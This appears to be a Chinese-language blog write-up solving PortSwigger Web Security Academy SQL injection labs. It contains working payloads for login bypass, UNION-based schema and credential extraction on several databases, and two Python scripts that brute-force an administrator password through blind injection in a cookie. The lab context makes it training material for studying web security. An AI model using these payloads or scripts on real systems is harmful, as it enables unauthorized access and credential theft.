SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Apprentice Level

找注入点就过,不过似乎得用or,本来更习惯and 1=1和and 1=2

HackBar: url/filter?category=Pets' or 1=1 --

SQL injection vulnerability allowing login bypass

Apprentice Level

万能密码登录administrator

password: 1' or 1=1 --

SQL injection UNION attack, determining the number of columns returned by the query

Practitioner Level

用 union select null*n 判断列数才能达成通关,更习惯 order by n ,单就达成目的而言这题也是可用的

Hackbar: url/filter?category=Pets' union select null,null,null--

SQL injection UNION attack, finding a column containing text

Practitioner Level

承自上一关,这关要查一个随机字符串。想复杂了,本来想老方法一套然后group_concat当前表下的内容的。通关后多试了一下,目测第一位主键,第二位商品名,字符类型,第三位价格,数字类型。所以第二位替换为随机字符串,而且必须用单引号包裹…

' union select null,'随机字符串',null--

SQL injection UNION attack, retrieving data from other tables

Practitioner Level

表名列名都给了,group_concat会炸,好在是多查询结果显示的

' union select username,password from users--

SQL injection UNION attack, retrieving multiple values in a single column

Practitioner Level

查询只有两列,第二列可回显,concat_ws成功。官方payload用的||拼接处理。

' union select null,concat_ws(':',username,password) from users--

' UNION SELECT null,username || '~' || password FROM users--

SQL injection attack, querying the database type and version on Oracle

Practitioner Level

没碰过的Oracle。首先order by依然可用。根据hint可知:

  1. SQL injection cheat sheet | Web Security Academy (portswigger.net)中有注不同数据库的一些基础姿势,本题需要用到查版本的payload:SELECT banner FROM v$version SELECT version FROM v$instance
  2. Oracle的select语句必须from被查询表,Oracle还有一个dual表,所有用户都可以访问。

因此可以构成最基础的测试语句:'union select '1','2' from dual--,回显两列,都是字符型。然后就可以构成通关的payload了

' UNION SELECT '1',banner FROM v$version--

SQL injection attack, querying the database type and version on MySQL and Microsoft

Practitioner Level

MySQL数据库,要回显数据库版本,第一反应直接version()函数。以及这题的注释符必须是“–+”(+为url编码的空格)。cheat-sheet中给的方式是使用@@version,测试可用

' union select null,version()--+

SQL injection attack, listing the database contents on non-Oracle databases

Practitioner Level

查库:' union select null,schema_name from information_schema.schemata--,回显可知三个库:public、pg_catalog、information_schema(btw无法使用database(),不过盲猜当前数据库是public)

查表:' union select null,table_name from information_schema.tables where table_schema='public'--,回显可知两个表:users_uhhwiu、products

查列:' union select null,column_name from information_schema.columns where table_name='users_uhhwiu'--,回显可知两列:username_kulrfs、password_qskawv

获得账号密码:' union select null, username_kulrfs || ':' || password_qskawv from public.users_uhhwiu--用一下前面学的使用||拼接,concat_ws也可用。管理员账号:administrator,密码:rto9oskjby26r9e3rcmp

SQL injection attack, listing the database contents on Oracle

Practitioner Level

又是Oracle的数据库。先order by判断列数,再用一下之前的payload'union select '1','2' from dual--测试回显位置。

查库:'union select null,owner from all_tables--,返回库名:APEX_040000、CTXSYS、MDSYS、PETER、SYS、SYSTEM、XDB。我也不知道用的哪个库,好像后面也不需要指定库名

查表:'union select null,table_name from user_tables--,返回表名:PRODUCTS、USERS_RDRFNK

查列:'union select null,column_name from user_tab_columns where table_name='USERS_RDRFNK'--,返回两列:PASSWORD_GDLINE、USERNAME_CEVQVM

查数据:'union select null,concat(USERNAME_CEVQVM,concat(':',PASSWORD_GDLINE)) from USERS_RDRFNK--,可找到用冒号分隔的管理员账号:administrator 和密码:2ducfpicylqn9t22jgkl

Oracle的concat差不多就是MySQL熟悉的group_concat,但是concat只能连接两个字符串,多个字符串需要嵌套多个concat。但同样的||拼接也可用,所以其实这题||拼接更好用:'union select null,USERNAME_CEVQVM||':'||PASSWORD_GDLINE from USERS_RDRFNK--

Blind SQL injection with conditional responses

Practitioner Level

题目给了表名user,列名username和password,需要获得administator的密码。本想修改用过的脚本一把梭,然后database()应该是之前题目就确认是过滤掉的,虽然重新改一下爆库名的部分以及会用到database()的payload也可以,不过反正是对当前库下已知表已知列的注入,或许可以简单处理。

单线程脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests as req

url = "https://0a9200b3049d40e580b8991900a8009f.web-security-academy.net/"
flag = "Welcome back!"
cookie = "TrackingId=TR9tuilCiyUkL4M4'"
table_name = "users"
column_name1 = "username"
column_name2 = "password"

# administator的密码长度
for len in range(1, 10):
payload = {'Cookie': cookie + " and (select 'a' from " + table_name + " where " + column_name1 + "='administrator' and length(" + column_name2 + ")<" + str(len * 10) + ")='a'" + " -- "}
print(payload)
response = req.get(url, headers=payload)
if flag in response.text:
left = len * 10 - 10
right = len * 10 - 1
while left < right:
mid = (left + right) // 2
payload = {'Cookie': cookie + " and (select 'a' from " + table_name + " where " + column_name1 + "='administrator' and length(" + column_name2 + ")<" + str(mid) + ")='a'" + " -- "}
print(payload)
response = req.get(url, headers=payload)
if flag in response.text:
right = mid
else:
left = mid + 1
column_length = left - 1
print("column_length: ", column_length)
break

# administator的密码
password = ''
for i in range(1, column_length+1):
left = 32
right = 126
while left < right:
mid = (left + right) // 2
payload = {'Cookie': cookie + " and (select 'a' from " + table_name + " where " + column_name1 + "='administrator' and ascii(substring(" + column_name2 + "," + str(i) + ",1))<" + str(mid) + ")='a'" + " -- "}
print(payload)
response = req.get(url, headers=payload)
if flag in response.text:
right = mid
else:
left = mid + 1
password += chr(left - 1)
print("password: ", password)

多线程脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# import requests as req
import grequests as greq

url = "https://0a9200b3049d40e580b8991900a8009f.web-security-academy.net/"
flag = "Welcome back!"
cookie = "TrackingId=TR9tuilCiyUkL4M4'"
table_name = "users"
column_name1 = "username"
column_name2 = "password"

# administator的密码长度
for len in range(1, 10):
payload = {'Cookie': cookie + " and (select 'a' from " + table_name + " where " + column_name1 + "='administrator' and length(" + column_name2 + ")<" + str(len * 10) + ")='a'" + " -- "}
print(payload)
response = greq.map([greq.get(url, headers=payload)])
if flag in response[0].text:
req_list = [greq.get(url, headers={'Cookie': cookie + " and (select 'a' from " + table_name + " where " + column_name1 + "='administrator' and length(" + column_name2 + ")=" + str(i) + ")='a'" + " -- "}) for i in range(len * 10 - 10, len * 10)]
response = greq.map(req_list)
for r in response:
if flag in r.text:
column_length = len * 10 - 10 + response.index(r)
break
print("column_length: ", column_length)
break

# administator的密码
password = ''
for i in range(1, column_length+1):
req_list = [greq.get(url, headers={'Cookie': cookie + " and (select 'a' from " + table_name + " where " + column_name1 + "='administrator' and ascii(substring(" + column_name2 + "," + str(i) + ",1))=" + str(j) + ")='a'" + " -- "}) for j in range(32, 127)]
response = greq.map(req_list)
for r in response:
if flag in r.text:
password += chr(32 + response.index(r))
break
print("password: ", password)